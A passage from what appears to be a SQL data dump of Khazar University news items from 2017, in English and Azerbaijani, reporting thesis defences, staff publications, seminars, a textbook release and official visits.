Fidan and Khuraman Gasimova.</div><div><br></div><div>He spoke about the history of the vocal art in Azerbaijan and the role of Gasimova sisters in it.</div><div><br></div><div>More detailed information can be obtained via this link: http://kaspiy.az/news.php?id=62645</div>'),(3965,2313,'en','Master thesis defence was held at English language and Literature Department','On June 20, 2017, Konul Mardanova and Nurana Ismayilova, the Master students from the School of Humanities and Social Sciences defended their Master theses at English language and Literature Department...','<p>On June 20, 2017, Konul Mardanova and Nurana Ismayilova, the Master students from the School of Humanities and Social Sciences defended their Master theses at English language and Literature Department.</p><p>Dr. Eldar Shahgaldiyev, the Head of the Division of Graduate Studies and Research; Dr. Irina Orujova and Dr. Irada Samadova, the teachers from Azerbaijan University of Languages; Eynur Mehdiyev, vice-chair of English language and Literature Department; Milana Abbasova, Minor Programs Coordinator; PhD. Jamala Mammadova and Gulnar Abasova, teachers of the department, took part in the defence.</p><p>During the defence Master students gave thorough information about their research and answered the questions.</p><p>Each student successfully defended her thesis and was awarded a Master’s degree.</p>'),(3966,2313,'az','İngilis dili və ədəbiyyatı departamentində magistr müdafiəsi keçirildi','2017-ci il iyunun 20-də Xəzər Universiteti Humanitar və sosial elmlər fakültəsinin magistr tələbələri Könül Mərdanova və Nuranə İsmayılovanın İngilis dili və ədəbiyyatı departamentində dissertasiya müdafiəsi keçirildi...','<p>2017-ci il iyunun 20-də Xəzər Universiteti Humanitar və sosial elmlər fakültəsinin magistr tələbələri Könül Mərdanova və Nuranə İsmayılovanın İngilis dili və ədəbiyyatı departamentində dissertasiya müdafiəsi keçirildi.</p><p>Müdafiədə Magistratura, doktorantura və elmi işlər bölməsinin müdiri Eldar Şahgəldiyev, Azərbaycan Dövlət Dillər Universitetinin müəllimi İrina Orucova, Azərbaycan Dövlət Dillər Universitetinin müəllimi İradə Səmədova, İngilis dili və ədəbiyyatı departamentinin müdir müavini Eynur Mehdiyev, Alt proqramlar üzrə koordinator Milana Abbasova, departamentin müəllimləri Cəmalə Məmmədova və Gülnar Abbasova iştirak etdilər.</p><p>Müdafiə zamanı magistr tələbələr öz tədqiqat işləri haqqında ətraflı təqdimat etdilər və onlara verilən sualları cavablandırdılar.</p><p>Hər iki tələbə müdafiəni uğurla edib magistr adına layiq görüldü.</p>'),(3967,2314,'en','The students\' creative works were viewed','On June 20, 2017, the creative works of the students who major in Design and study Choir subject were viewed at the Marble Hall of Khazar University. The event was attended by the university administration, deans, department directors and the staff...','<p>On June 20, 2017, the creative works of the students who major in Design and study Choir subject were viewed at the Marble Hall of Khazar University. The event was attended by the university administration, deans, department directors and the staff.</p><p>It should be noted that the specialty of Design has been taught at the university for the first time since the current academic year. (Instructors Afag Karimova and Anar Asadov). Zulfiyya Sadigova, Head of the Department of Music and Fine Arts, the pianist; Afag Karimova, the instructor of the department spoke about the students’ creativity related to Design and Choir. The participants were invited to have a look at the works exhibited in the Marble Hall. The students gave the information and answered the questions regarding their works.</p>\r\n<p>Then the concert program was presented by a choral collective of the students conducted by Mahsati Jabbarova, the instructor at Khazar Universty and accompanied on the piano by Zulfiyya Sadigova.</p><p>The creative works made a very good impression on the participants. Dr. Hassan Niknafs, the rector of the university, delivered a speech and wished them success.</p>'),(3968,2314,'az','Tələbələrin yaradıcılıq işlərinə baxış keçirildi','2017-ci il iyunun 20-də Xəzər Universitetinin Mərmər salonunda dizayn ixtisası və xor fənni üzrə təhsil alan tələbələrin yaradıçılığına baxış keçirildi.Tədbirdə universitetin rəhbərliyi, dekanlar, departament müdirləri və əməkdaşlar iştirak edirdilər...','<p>2017-ci il iyunun 20-də Xəzər Universitetinin Mərmər salonunda dizayn ixtisası və xor fənni üzrə təhsil alan tələbələrin yaradıçılığına baxış keçirildi.Tədbirdə universitetin rəhbərliyi, dekanlar, departament müdirləri və əməkdaşlar iştirak edirdilər.</p><p>Qeyd edək ki, dizayn ixtisası universitetdə cari dərs ilindən başlayaraq, ilk dəfə tədris olunur. (Müəllimlər Afaq Kərimova və Anar Əsədov). Musiqi və incəsənət departamentinin müdiri, pianoçu Zülfiyyə Sadıqova, departamentin müəllimi Afaq Kərimova çıxış edərək, tələbələrin dizayn və xor yaradıcılığı haqqında məlumat verdilər. İştirakçılar tələbələrin Mərmər salonda nümayiş etdirilən işlərinə baxmağa dəvət olundular. Tələbələr öz işləri haqqında məlumat verib, sualları cavablandırdılar.</p><p>Sonra Xəzər Universitetinin müəllimi Məhsəti Cabbarovanın dirijorluğu ilə tələbələrdən ibarət xor kollektivi pianoda Zülfiyyə Sadıqovanın müşayiəti ilə hazırladıqları konsert proqramını təqdim etdilər.</p><p>Tələbələrin yaradıcılıq işləri iştirakçılar tərəfindən maraqla qarşılandı. Xəzər Universitetinin rektoru Hassan Niknafs çıxış edərək, onlara uğurlar arzuladı.</p>'),(3969,2315,'az','Humanitar və sosial elmlər fakültəsinin əməkdaşının məqaləsi çap olundu','Xəzər Universiteti Humanitar və sosial elmlər fakültəsinin dekan köməkçisi Validə Kərimovanın (doktorant) “N.Çomskinin dil təliminin məziyyətləri. Dilin yaradıcı olması” adlı elmi məqaləsi...','<p>Xəzər Universiteti Humanitar və sosial elmlər fakültəsinin dekan köməkçisi Validə Kərimovanın (doktorant) “N.Çomskinin dil təliminin məziyyətləri. Dilin yaradıcı olması” adlı elmi məqaləsi Azərbaycan Respublikası Prezidenti yanında Ali Attestasiya Komissiyasının Dövri Elmi Nəşrlərin çapı üçün tövsiyə edilən, Azərbaycan Dillər Universitetinin “Elmi xəbərlər” jurnalının 2-ci cildinin 3-cü buraxılışında çap edilmişdir. Məqalədə N.Çomskinin dilçilik aləmində böyük əks-sədaya səbəb olmuş ideyaları, dilçilik elmində əvəzsiz görüşləri araşdırılmış, bu alimin elmi nəzəriyyəsinin dünya dilçiliyinə, eləcə də, fəlsəfə, məntiq, psixologiya kimi elm sahələrinə təsiri barədə müzakirə edilmişdir. Beləliklə, tədqiqat işinin qarşısında duran əsas vəzifə N.Çomskinin dilçilik görüşlərinin mahiyyətini açıb göstərməkdən ibarət olmuşdur.</p><p><a href=\"/files/articles/meqale_diller2.PDF\">Məqalənin tam şəkildə PDF formatda burada oxumaq olar</a></p>'),(3970,2316,'en','Professor Hamlet Isakhanli replied to the question of the \"Kaspiy\" newspaper','On July 4, 2017, Elena Malakhova\'s article \"Where to go for education\" was published on the web-site of \"Kaspiy\" newspaper...','<p>On July 4, 2017, Elena Malakhova\'s article \"Where to go for education\" was published on the web-site of \"Kaspiy\" newspaper. Professor Hamlet Isakhanli, the founder of Khazar University and chairman of its Board of Directors and Trustees, also commented on the topic in the article, along with other education experts.</p>\r\n<p>The full material can be read via this link: <a href=\"http://kaspiy.az/news.php?id=63527\">http://kaspiy.az/news.php?id=63527</a></p>'),(3971,2316,'az','Professor Hamlet İsaxanlı “Kaspiy” qəzetinin sorğusunu cavablandırıb','2017-ci il iyulun 4-də “Kaspiy” qəzetinin internet səhifəsində Yelena Malaxovanın “Təhsil üçün hara getməli” adlı məqaləsi dərc olunmuşdur...','<p>2017-ci il iyulun 4-də “Kaspiy” qəzetinin internet səhifəsində Yelena Malaxovanın “Təhsil üçün hara getməli” adlı məqaləsi dərc olunmuşdur. Məqalədə digər təhsil ekspertləri ilə yanaşı Xəzər Universitetinin təsisçisi, Direktorlar və Qəyyumlar Şurasının sədri professor Hamlet İsaxanlının da mövzu ilə əlaqədar fikirləri verilmişdir.</p><p>Materialı tam şəkildə bu link vasitəsilə oxumaq olar: <a href=\"http://kaspiy.az/news.php?id=63527\">http://kaspiy.az/news.php?id=63527</a></p>'),(3972,2317,'az','“Xəzər”in departament müdirinin tərtibçisi olduğu dərs vəsaiti çapdan çıxıb','Azərbaycan Respublikası Təhsil Nazirliyi, Azərbaycan Respublikası Fövqəladə Hallar Nazirliyi, BMT-nin Uşaq Fondu (UNİCEF) və Avropa Komissiyasının Humantar Yardım və Mülki Müdafiə Departamenti tərəfindən...','<p>Azərbaycan Respublikası Təhsil Nazirliyi, Azərbaycan Respublikası Fövqəladə Hallar Nazirliyi, BMT-nin Uşaq Fondu (UNİCEF) və Avropa Komissiyasının Humantar Yardım və Mülki Müdafiə Departamenti tərəfindən müəllim hazırlığı üçün nəzərdə tutulan “Fəlakət riskinin azaldılması təhsil sistemində” adlı dərs vəsaiti çap olunmuşdur. Kitabın çapı Avropa Komissiyasının Humanitar Yardım İdarəsinin (DIPECHO) maliyyə dəstəyi ilə Azərbaycanda həyata keçirilən “Həssas icmalarda və Təhsil Müəssisələrində Fəlakət Riskinin Azaldılması” layihəsi çərçivəsində baş tutmuşdur.</p><p>On beş min tirajla çap edilmiş kitabın tərtibçisi Xəzər Universitetinin Coğrafiya və ətraf mühit departamentinin müdiri, universitetin Ətraf Mühitin Tədqiqi Mərkəzinin direktoru Rövşən Abbasovdur. Kitabdan ölkənin bütün ali məktəblərində tədris vasitəsi kimi istifadə olunacaq.</p>'),(3973,2318,'az','Tarix və arxeologiya departamentinin müəllimi İvane Javaxişvili adına Tiflis Dövlət Universitetində oldu','2017-ci il iyunun 22-dən 24-dək Xəzər Universiteti Tarix və arxeologiya departamentinin müəllimi Samirə Qarayeva İvane Javaxişvili adına Tiflis Dövlət Universitetində...','<p>2017-ci il iyunun 22-dən 24-dək Xəzər Universiteti Tarix və arxeologiya departamentinin müəllimi Samirə Qarayeva İvane Javaxişvili adına Tiflis Dövlət Universitetində İctimai və siyasi elmlər fakültəsi tərəfindən təşkil edilən “Kainat, cəmiyyət, siyasət –davamlı inkişafın regional məqsədləri” adlı V beynəlxalq elmi konfransda iştirak etdi. S.Qarayeva konfransda “Azərbaycanda gender plroblemləri” adlı məruzəsi ilə çıxış etdi. Çıxışına görə, Samirə Qarayevaya sertifikat təqdim edildi.</p><p>Konfransda gürcüstanlı tədqiqatçılarla yanaşı, ABŞ, Almaniya, Çin, Belçika, Meksika, Türkiyə, Azərbaycan və İrandan gələn tədqiqatçılar da iştirak edirdilər.</p>'),(3974,2319,'az','Mələk Kərimovanın məqaləsi çap olundu','Xəzər Universiteti Humanitar və sosial elmlər fakültəsinin dekan müavini Mələk Kərimovanın (doktorant) “İncəsənət terapiyası” adlı elmi məqaləsi...','<p>Xəzər Universiteti Humanitar və sosial elmlər fakültəsinin dekan müavini Mələk Kərimovanın (doktorant) “İncəsənət terapiyası” adlı elmi məqaləsi Azərbaycan Respublikası Prezidenti yanında Ali Attestasiya Komissiyasının Dövri Elmi Nəşrlərin çapı üçün tövsiyə edilən, Sumqayıt Dövlət Universitetinin “Elmi xəbərlər” jurnalının Sosial və humanitar elmlər bölməsinin 13-cü cildinin 2-cü buraxılışında çap edilmişdir. Məqalədə incəsənətin psixologiyada necə əks olunmasından, incəsənət terapiyasının əsas məqsədindən, incəsənət terapiyasındakı vasitələrdən, incəsənət terapiyasının tarixi keçmişindən, incəsənət terapiyası sahəsində mütəxəssis hazırlığının zəruriliyindən bəhs edilmişdir.</p><p><a href=\"/files/articles/Melek_meqale.PDF\">Məqalənin tam şəkildə PDF formatda burada oxumaq olar.</a>&nbsp;</p>'),(3975,2320,'az','Humanitar və sosial elmlər fakültəsinin əməkdaşının məqaləsi çap olundu','Xəzər Universiteti Humanitar və sosial elmlər fakültəsinin dekan köməkçisi Validə Kərimovanın (doktorant) “Ədəbi-tənqidi mətndə estetik problematikanin...','<p>Xəzər Universiteti Humanitar və sosial elmlər fakültəsinin dekan köməkçisi <strong>Validə Kərimovanın</strong> (doktorant) “Ədəbi-tənqidi mətndə estetik problematikanin fəaliyyətinin spesifikası” adlı elmi məqaləsi Azərbaycan Respublikası Prezidenti yanında Ali Attestasiya Komissiyasının Dövri Elmi Nəşrlərin çapı üçün tövsiyə edilən, Sumqayıt Dövlət Universitetinin “Elmi xəbərlər” jurnalının Sosial və humanitar elmlər bölməsinin 13-cü cildinin 2-cü buraxılışında çap edilmişdir. Məqalədə rus ədəbi tənqidində fəlsəfi-estetik problematikanın qismən məhz estetik problematika ilə uyğun gəlməsi, tənqidin əsas funksiyasını izahı, estetik problematikanın mətn reprezentasiyasının üsulları, konkret olaraq dahi şəxslərin və onların estetik doktrinalarının dərinliyi və konseptuallığına əsaslanan fikirlər geniş formada araşdırılmışdır. Məqalənin məqsədi ədəbi-tənqidin indi ümumiləşdirici funksiya daşıyıb, estetik problematıkanın nə qədər aşkar və məqsədyönlü olmasını təqdim etməkdir.</p><p><a href=\"/files/articles/Valide_meqale.PDF\">Məqalənin tam şəkildə PDF formatda burada oxumaq olar.</a></p>'),(3976,2321,'az','“Xəzər”ə təşəkkür məktubları','Xəzər Universitetində Jan Monnet layihəsinin icrasının uğurla başa çatması münasibətilə Avropa Birliyinin Azərbaycan Nümayəndəliyinin rəhbəri Malena Mard...','<p>Xəzər Universitetində Jan Monnet layihəsinin icrasının uğurla başa çatması münasibətilə Avropa Birliyinin Azərbaycan Nümayəndəliyinin rəhbəri Malena Mard və Azərbaycanda Milli Erasmus+ Ofisinin direktoru Pərviz Bağırov universitetin Siyasi elm və beynəlxalq münasibətlər departamentinin müdiri, Jan Monnet proqramının sədri, fəlsəfə doktoru Muxtar Hacızadəyə təşəkkür məktubları göndərmişlər.</p><p><a href=\"/files/pdf/programs/EU%20Delegation%20thank%20you%20letter.pdf\">EU Delegation thank you letter</a>  <br></p><p><a href=\"/files/pdf/programs/Erasmus%20Jean%20Monnet%20thank%20you%20letters.pdf\">Erasmus Jean Monnet thank you letters</a>  <br></p>'),(3977,2317,'en','The textbook prepared by the Head of Department at Khazar University is published','The textbook entitled ‘Disaster Risk Reduction in Education System’, considered for teacher training by the Ministry of Education of the Republic of Azerbaijan...','<p>The textbook entitled ‘Disaster Risk Reduction in Education System’, considered for teacher training by the Ministry of Education of the Republic of Azerbaijan, the Ministry of Emergency Situations of the Republic of Azerbaijan, the UN Children\'s Fund (UNICEF) and the Department of European Civil Protection and Humanitarian Aid has been published. The publication of the book was carried out with the financial support of Disaster Preparedness European Community Humanitarian Office (DIPECHO), within the frame of the Project ‘Disaster Risk Reduction in Sensitive Communities and Education Institutions’ conducted in Azerbaijan.</p><p>The author of the book, published in 15000 copies, is Dr. Rovshan Abbasov, Head of the Department of Geography and the Environment, Head of the Center for Environmental Studies at Khazar University. The book will be used as a teaching tool in all the higher education institutions of the country.</p>'),(3978,2322,'az','Biologiya departamentinin növbəti tədqiqat seminarı keçiriləcək','2017-cı il iyulun 14-ü saat 16:00-da Xəzər Universiteti Biologiya departamentinin növbəti tədqiqat seminarı (Research Seminar/Journal Club) keçiriləcək...','<br><p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;background:white\"\"=\"\">2017-cı il iyulun 14-ü saat 16:00-da\r\nXəzər Universiteti Biologiya departamentinin növbəti tədqiqat seminarı (<strong><em>Research\r\nSeminar/Journal Club)</em></strong> təlim otağında (yeni bina, 5-ci mərtəbə) keçiriləcək.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;background:white\"\"=\"\">Seminarın planına aşağıdakılar\r\ndaxildir:</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;background:white\"\"=\"\">1.<strong> </strong>Züleyxa Əkbərova – oxuduğu elmi məqalənin\r\nkritik analizi; </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;background:white\"\"=\"\">2. Gülafət Şəfiyeva – oxuduğu elmi məqalənin\r\nkritik analizi; </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;background:white\"\"=\"\">3. İradə Xəlilova – Elmi araşdırmaların\r\ngücləndirilməsi yolları haqqında ümumi məlumat və müəyyən təkliflər. Bu haqda\r\nmüzakirə aparmaq və real konkret təkliflər hazırlamaq;</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;background:white\"\"=\"\">4. Şəbnəm Şahgəldiyeva – elmi işin\r\nqısa təqdimatı;</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;background:white\"\"=\"\">5. PhD Tələbə Birliyinin (<em>PhD Student Association</em>) yaradılması haqqında\r\nmüzakirələr;</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;background:white\"\"=\"\">6. Tədqiqata dəstək və digər məsələlər.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;background:white\"\"=\"\">Maraqlanan\r\nhər kəs seminara dəvətlidir.</p>'),(3979,2323,'az','“Təbii resursların idarə edilməsi” mövzusunda beynəlxalq təlim başa çatdı','2017-ci il iyunun 29-da Xəzər Universitetində universitetin nəzdində fəaliyyət göstərən Avrasiya Bilik Mərkəzi (ABM), Xəzər Universiteti və ABŞ-ın Nyu - York şəhərində yerləşən...','<p>2017-ci il iyunun 29-da Xəzər Universitetində universitetin nəzdində fəaliyyət göstərən Avrasiya Bilik Mərkəzi (ABM), Xəzər Universiteti və ABŞ-ın Nyu - York şəhərində yerləşən Təbii Resursların İdarə Edilməsi İnstitutunun (TRİEİ) təşkilatçılığı ilə “Təbii resursların idarə edilməsi” mövzusunda başlanan beynəlxalq təlim iyulun 6-da Mərmər zalda keçirilmiş bağlanış mərasimi ilə işini başa çatdırdı. Təlimdə Azərbaycan, Ukrayna, Qırğızıstan, Qazaxıstan, Tacikistan və Monqolustandan mütəxəssislər iştirak edirdilər.</p><p>Mərasimi açan ABM-in direktoru professor İnqilab Əhmədov çıxış edərək, yeddi gün ərzində davam edən təlimin ilkin nəticələrindən və iştirakçı mütəxəssislər üçün səmərəli faydasından danışdı.</p><p>Xəzər Universitetinin təsisçisi, Direktorlar və Qəyyumlar Şurasının sədri professor Hamlet İsaxanlı, İsveçrənin Azərbaycandakı fövqəladə və səlahiyyətli səfiri Filip Ştalder və TRİEİ-nin Avrasiya üzrə regional direktoru Qalib Əfəndiyev çıxış edərək, təlimi təbii resursların idarə edilməsi sahəsində yeni nəzəri və təcrübi biliklər aşılaması etibarilə yüksək qiymətləndirdilər.</p><p>İştirakçı mütəxəssislərə sertifikat təqdim olundu. Sertifikatları professor Hamlet İsaxanlı və səfir Filip Ştalder təqdim etdilər.</p><p>İştirakçılar adından Lesia Xomiak (Ukrayna) və digərləri çıxış edərək, təlimin yüksək səviyyədə təşkilinə görə təşkilatçılara təşəkkürlərini bildirdilər.</p><p>Bağlanış mərasimində Xəzər Universitetinin Kamera orkesti Azərbaycan və dünya bəstəkarlarının əsərlərindən ibarət konsert proqramı ilə çıxış etdi.</p>'),(3980,2324,'az','Elmi Şuranın cari dərs ilində son içlası keçirildi','2017-ci il iyulun 6-da Xəzər Universitetinin rektoru Hassan Niknafsın sədrliyi ilə universitet Elmi şurasının cari dərs ilində son iclası keçirildi. İclasın gündəliyinə əsasən rektor 2016-2017-ci tədris ilinin ümumi yekunları...','<p>2017-ci il iyulun 6-da Xəzər Universitetinin rektoru Hassan Niknafsın sədrliyi ilə universitet Elmi şurasının cari dərs ilində son iclası keçirildi. İclasın gündəliyinə əsasən rektor 2016-2017-ci tədris ilinin ümumi yekunları haqqında çıxış edərək, əldə olunmuş uğurlardan və qarşıda duran vəzifələrdən danışdı. O, həmçinin, ilin yekunlarına görə bir qrup əməkdaşın – Təmir-tikinti şöbəsinin işçisi Piri Piriyev, İctimai əlaqələr və media üzrə direktor Əlövsət Əmirbəyli, Riyaziyyat departamentinin müəllimi Cavanşir Əzizov, Tarix və arxeologiya departamentinin müdiri Roza Arazova, İqtisadiyyat və menecment fakültəsi dekanının köməkçisi Samirə Mirzəyeva, İngilis dili və ədəbiyyatı departamentinin müəllimi Lidiya Həmidova, İnkişaf mərkəzinin direktoru Raziyə İsayeva və Azərbaycan dili və ədəbiyat departamentinin müdiri Vurğun Əyyubun təşəkkürnaməyə layiq görüldüyünü bildirdi və iştirak edənlərə təşəkkürnamələri təqdim etdi.</p><p>Universitetin prorektoru Məhəmməd Nuriyev Məzunlarla iş üzrə mərkəzin direktoru Baba Bayramlının Elmi şuranın tərkibinə daxil edildiyi&nbsp;və şuranın elmi katibi təyin olunduğu haqqında məlumat verdi.</p><p>Məzunluq haqqında fakültə dekanları Elza Səmədova, Cabir Xəlilov, Ceyhun Məmmədov və dekan müavini Vəfa Aslanovanın, dərs vəsaitlərinin və fənn proqramlarının çapa təqdim olunması haqqında Elmi Şuranın katibi Baba Bayramlının məlumatları dinlənildi və müvafiq qərarlar qəbul edildi.</p><p>Elmi Şuranın iclasında universitetin təsisçisi, Direktorlar və Qəyyumlar Şurasının sədri professor Hamlet İsaxanlı çıxış edərək, bir sıra məsələlərlə əlaqədar tövsiyələrini bildirdi. O, həmçinin, Direktorlar və Qəyyumlar Şurası sədrinin assistenti Sevda Salayevaya başqa işə keçməsi ilə əlaqədar uğurlar arzuladı və ona təşəkkürnamə təqdim etdi.</p><p>Elmi Şuranın iclasında cari məsələlər də müzakirə olundu.</p>'),(3981,2301,'en','Professor Hamlet Isakhanli\'s first prose work is published','It is well known that along with the scientific and poetic creativity Professor Hamlet Isakhanli, the founder of Khazar University and Chairman of its Board of Directors and Trustees has also unpublished...','<p>It is well known that along with the scientific\r\nand poetic creativity Professor Hamlet Isakhanli, the founder of Khazar\r\nUniversity and Chairman of its Board of Directors and Trustees has also\r\nunpublished</p>\r\n<p>stories and novels (it has been mentioned in\r\nsome of his interviews). </p>\r\n<p>The first prose work\r\nof the professor – “Musical ... fame obsession” was published in May, 2017\r\nissue (362) of Khazar Review journal. </p>\r\n<p>The story can also be\r\nread in the electronic version of the journal.&nbsp;</p>'),(3982,2307,'en','A founding seminar of the Student Scientific Society was held','On 29 June, a founding seminar of the Student Scientific Society was conducted by the Department of Geography and the Environment, Khazar University...','<p>On 29 June, a founding seminar of the\r\nStudent Scientific Society was conducted by the Department of Geography and the\r\nEnvironment, Khazar University. </p><p>\r\nThe two student groups delivered presentations\r\non the findings of the conducted research on ‘Determination of air quality by\r\nPH method’ and ‘Prediction of gases emitted from vehicles in Baku city’.&nbsp;&nbsp;</p>'),(3983,2325,'az','Elza İsmayılovanın məqaləsi çap olundu','Xəzər Universitetinin müəllimi Elza İsmayılovanın “Koroğlu” dastanında dini motivlər (Azərbaycan və Türkiyə variantları əsasında)” adlı elmi məqaləsi...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\">Xəzər Universitetinin müəllimi\r\nElza İsmayılovanın “Koroğlu”\r\ndastanında dini motivlər (Azərbaycan və Türkiyə variantları əsasında)” adlı elmi məqaləsi Azərbaycan Respublikası Prezidenti\r\nyanında Ali Attestasiya Komissiyasının Dövri Elmi Nəşrlərin çapı üçün tövsiyə\r\nedilən, AMEA Folklor İnstitutunun “Dədə Qorqud” elmi-ədəbi toplusunun 2016-cı il I buraxılışında çap edilmişdir. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\">Məqalədə “Koroğlu” dastanındakı\r\ndini motivlər, daha doğrusu, dini inanclar haqqında araşdırma aparılmışdır.\r\nDastanın hər iki variantı əsasında Qurandan gələn obraz və süjetlər ilk dəfə müqayisəli\r\nşəkildə tədqiq olunmuş, dastandakı dini motivlər üzə çıxarılmışdır. </p><p><a href=\"/files/articles/Dede_Qorqud.pdf\"><strong>\r\nMəqaləni tam şəkildə PDF formatında burada oxumaq olar</strong></a></p>'),(3984,2326,'az','İsveçrə səfiri Filip Ştalder Xəzər Universitetində','2017-ci il iyulun 6-da İsveçrə Konfederasiyasının Azərbaycandakı fövqəladə və səlahiyyətli səfiri Filip Ştalder Xəzər Universitetində olub...','<p>2017-ci il\r\niyulun 6-da İsveçrə Konfederasiyasının Azərbaycandakı fövqəladə və səlahiyyətli\r\nsəfiri Filip Ştalder Xəzər Universitetində\r\nolub, universitetin təsisçisi, Direktorlar və Qəyyumlar Şurasının sədri\r\nprofessor Hamlet İsaxanlı ilə görüşdü. Görüşdə ölkələrarası təhsil məsələlərinin\r\nbir sıra məqamları müzakirə olundu.</p>'),(3985,2327,'az','Dillər və mədəniyyətlər departamentinin əməkdaşını məqaləsi çap olundu','Xəzər Universiteti Dillər və mədəniyyətlər departamentinin dosent əvəzi, fil.ü.f.d Zivər Hüseynli-Baylanın...','<p>Xəzər Universiteti Dillər və mədəniyyətlər departamentinin dosent əvəzi, fil.ü.f.d Zivər Hüseynli-Baylanın Azərbaycan Respublikası Prezidenti yanında Ali Attestasiya Komissiyasının Dövri Elmi Nəşrlərin çapı üçün tövsiyə edilən, “Dil-ədəbiyyat” Elmi-nəzəri jurnalı 2017-ci il no.2 (102) 6-cı sayında “Dini ədəbiyyatımızın inkişafında Şah İsmayılın rolu” adlı məqaləsi çap edilmişdir. Məqalədə Şah İsmayılın şeirlərində dini düşüncələrinə dair araşdırımaya yer verilmişdir. Tədqiqatın araşdırma obyekti Səfəvilər dövrü fars dilində yazılmış tarixi mətnlər, habelə Şah İsmayılın siyasi və mədəni fəaliyyətləri haqqında yazılmış əsərlərdir.</p>'),(3986,2327,'en','An article by Khazar University employee is published','The article ‘Ancient item names from Persian into Turkish (the Safavid Dynasty) ’ produced by Ziver Huseynli – Bayla, PhD in Philology...','<p>The article ‘Ancient item names from Persian into Turkish (the Safavid Dynasty) ’ produced by Ziver Huseynli – Bayla, PhD in Philology, Associate Professor, the Coordinator of the Department of Languages and Civilizations, Khazar University, was published in the 6th issue of the 2017 edition of the journal ‘Philology Issues’, recommended for a publication by Higher Attestation Commission under the President of the Republic of Azerbaijan.</p><p>The article deals with the study of Turkish words used in the Persian language during the Safavid Dynasty.</p><p>The data for the study are the historical texts written in Persian in the Safavid Era.</p>'),(4196,2462,'az','Əlilliyi olan Tələbələr üçün Mərkəzin koordinatoru Uşaqlar üçün Qafqaz Şəbəkəsi saytına müsahibə verdi','Xəzər Universiteti Əlilliyi olan Tələbələr üçün Mərkəzin koordinatoru Rima Məmmədovanın Uşaqlar üçün Qafqaz Şəbəkəsi...','<p>Xəzər Universiteti Əlilliyi olan Tələbələr üçün Mərkəzin koordinatoru Rima Məmmədovanın Uşaqlar üçün Qafqaz Şəbəkəsi (Caucasus Network for Children) saytında müsahibəsi dərc olunmuşdur. Müsahibə zamanı layihə koordinatoru R.Məmmədova Xəzər Universitetinin koordinator olduğu “Əlilliyi olan şəxslərin Azərbaycanın Ali təhsil müəssisələrinə inteqrasiyasının təməlinin qoyulması” (ESFIDIP) Tempus layihəsi haqqında geniş məlumat vermiş, layihənin məqsədi və vacibliyi haqqında danışmışdır. Həmçinin, o, Xəzər Universitetində yaradılmış Əlilliyi olan Tələbələr üçün Mərkəzin fəaliyyəti haqqında da məlumat vermişdir.</p><p>Müsahibəni ingilis və rus dillərində aşağıdakı linklərdən əldə etmək olar:</p><p> <a href=\"http://www.caucasuschildren.net/csd-solve-important-problems-of-students-with-disabilities\">http://www.caucasuschildren.net/csd-solve-important-problems-of-students-with-disabilities</a></p><p><a href=\"http://ru.caucasuschildren.net/-csd-solve-important-problems-of-students-with-disabilities-ru\">http://ru.caucasuschildren.net/-csd-solve-important-problems-of-students-with-disabilities-ru</a></p>'),(4197,2463,'az','“Dünya” məktəbinin müəllimi, bəstəkar Sevda Rəhimovanın şair Hamlet İsaxanlının sözlərinə bəstələdiyi romans müsabiqədə seçilmiş 10 romans arasında yer alıb','AzTV “Mədəniyyət” kanalı və “Azərbaycan” radiosunun bu ilin may ayında elan etdiyi bəstəkarlar arasında...','<p>AzTV “Mədəniyyət” kanalı və “Azərbaycan” radiosunun bu ilin may ayında elan etdiyi bəstəkarlar arasında romans janrında yazılan əsərlərin müsabiqəsində yüzdən çox romansdan seçilmiş 10 romans arasında “Dünya” məktəbinin müəllimi, bəstəkar Sevda Rəhimovanın Xəzər Universitetinin təsisçisi, Direktorlar və Qəyyumlar Şurasının sədri professor Hamlet İsaxanlının “İkimizdən birimiz” adlı şeirinə bəstələdiyi eyni adlı romans da yer almışdır.</p><p>Seçilmiş 10 romans oktyabrın 17-də Beynəlxalq Muğam Mərkəzində keçiriləcək qala-konsertdə ifa olunacaq.</p>'),(4198,2460,'en','First year students who major in History were in the museum','On September 29, 2017, Nurida Atash, the instructor of the Department of History and Archaeology...','<p>On September 29, 2017, Nurida Atash, the instructor of the Department of History and Archaeology, taught the subject “History of Caucasian Archaeology: Material and Cultural heritage and materials of Khojaly-Gedebey culture in European museums” at the National Museum of History of Azerbaijan.</p><p>She gave the detailed information to the first year students about the History and Historiography of Caucasion Archeology and Khojaly - Gedebey culture.</p>'),(4206,2472,'az','“Xoşbəxtliyin kəşfi” adlı seminar təşkil ediləcək','2017-ci il oktyabrın 10-u saat 15.00-da Dünya Ruh Sağlamlığı günü münasibətilə...','<p><img src=\"/files/letters/ruhhali.jpg\" style=\"float:left;margin-right:8px;margin-bottom:8px;width:400px;height:563px\">2017-ci il oktyabrın 10-u saat 15.00-da Dünya Ruh Sağlamlığı günü münasibətilə Xəzər Universiteti Psixologiya departamenti və Xəzər Psixoloji Xidmət Mərkəzi (otaq 102N) Prof. Dr.&nbsp;Mohan Krishnanın təqdimatında “Xoşbəxtliyin kəşfi” adlı seminar təşkil edəcək.</p><p>Maraqlanan hər kəs seminara dəvətlidir.</p>'),(4493,2663,'az','Xəzər Universitetinin müəlliminin elmi məqaləsi Türkiyədə çap olundu','Türkiyənin paytaxtı Ankarada yayımlanan “Bilimsel Eksen” (“Elmi meridian”) elmi jurnalının 2017-ci il 20-ci sayında Xəzər Universiteti...','<p>Türkiyənin paytaxtı Ankarada yayımlanan “Bilimsel Eksen” (“Elmi meridian”) elmi jurnalının 